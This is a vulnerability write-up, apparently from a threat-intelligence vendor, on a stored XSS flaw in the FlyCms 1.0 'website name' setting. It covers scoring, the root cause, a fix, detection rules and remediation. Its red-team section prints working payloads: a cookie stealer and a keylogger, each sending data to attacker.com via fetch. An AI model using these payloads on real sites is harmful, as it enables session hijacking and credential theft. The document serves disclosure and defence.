CVE-2024-22548
Executive Summary
CVE-2024-22548 is a stored Cross-Site Scripting (XSS) vulnerability identified in FlyCms version 1.0. The flaw exists in the system website settings, specifically within the "website name" input field. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code into this field. When the website name is rendered on other pages (e.g., in the browser title bar or header), the injected script executes in the context of any user viewing that page, leading to session hijacking, credential theft, or defacement. No official patch has been released by the vendor, and the vulnerability remains unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a custom PHP application (FlyCms) vulnerability.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the nature of the vulnerability (stored XSS requiring authentication), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): High (H) – requires admin login
- User Interaction (UI): Required (R) – victim must view the affected page
- Scope (S): Changed (C) – injected script can affect other resources
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Base Score: 4.8 (Medium)
Threat Level: Medium. Exploitation requires authenticated access, but once injected, the payload can affect all users viewing the site, including other administrators.
Deep Dive & Mechanics
The vulnerability resides in the FlyCms administrative panel under System Settings > Website Settings. The "website name" field is stored in the database without proper sanitization or output encoding. When the application renders this value in HTML (e.g., in the <title> tag or header), it does not escape HTML entities, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker logs in as an administrator.
- Navigates to System Settings → Website Settings.
- Injects a malicious payload into the "website name" field, e.g.,
<script>alert('XSS')</script>. - Saves the settings.
- Any user (including other admins) visiting any page that displays the website name will execute the injected script.
Root Cause: Lack of output encoding (e.g., htmlspecialchars() in PHP) when rendering the website name in the template.
Vulnerable vs. Patched Code
Vulnerable Code (FlyCms 1.0):
// In the template file (e.g., header.php)
<title><?php echo $website_name; ?></title>
The $website_name variable is directly echoed without sanitization.
Patched Code (Hypothetical):
<title><?php echo htmlspecialchars($website_name, ENT_QUOTES, 'UTF-8'); ?></title>
This would encode special characters like <, >, ", and &, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- FlyCms 1.0 installed and running.
- Valid admin credentials.
Exploit Steps:
- Log in to the admin panel.
- Go to System Settings → Website Settings.
- In the "Website Name" field, enter a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- Craft a phishing link to lure other admins to any page that displays the website name (e.g., the dashboard).
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
}
</script>
Blue Team
Detection Steps:
- Monitor admin panel access logs for unusual changes to website settings.
- Inspect the
website_namefield in the database for script tags or suspicious HTML. - Use a web application firewall (WAF) to block requests containing
<script>in the website name parameter.
Mitigation:
- Apply input validation: allow only alphanumeric characters and spaces.
- Implement output encoding in all templates.
- Restrict admin panel access to trusted IPs.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the FlyCms server.
- File: Modified database entry in the
settingstable wherekey = 'website_name'contains<script>tags. - Log: Admin access logs showing changes to website settings with unusual payloads.
- Behavior: Unexpected JavaScript execution in the browser when viewing any FlyCms page.
Detection Engineering
YARA Rule
rule flycms_xss_website_name {
meta:
description = "Detects stored XSS payload in FlyCms website name field"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22548"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$website_name = "website_name"
condition:
$website_name and $xss_payload
}
Sigma Rule
title: FlyCms Stored XSS in Website Name
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payload in FlyCms website name field
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/admin/settings/save'
cs-params: 'website_name=*<script>*'
condition: selection
falsepositives:
- Legitimate use of script tags in website name (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"FlyCms Stored XSS - Website Name"; flow:to_server,established; content:"POST"; http_method; content:"/admin/settings/save"; http_uri; content:"website_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the website name field in the admin panel until a patch is available.
- Apply a WAF rule to block requests containing
<script>in the website name parameter. - Restrict admin access to trusted IPs and enforce strong passwords.
Long-Term Fix:
- The vendor should release a patch that implements proper output encoding (e.g.,
htmlspecialchars()in PHP). - Alternatively, manually edit the template file to escape the website name variable.
Workaround:
- Use a reverse proxy to sanitize the response body, replacing
<script>with an empty string.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.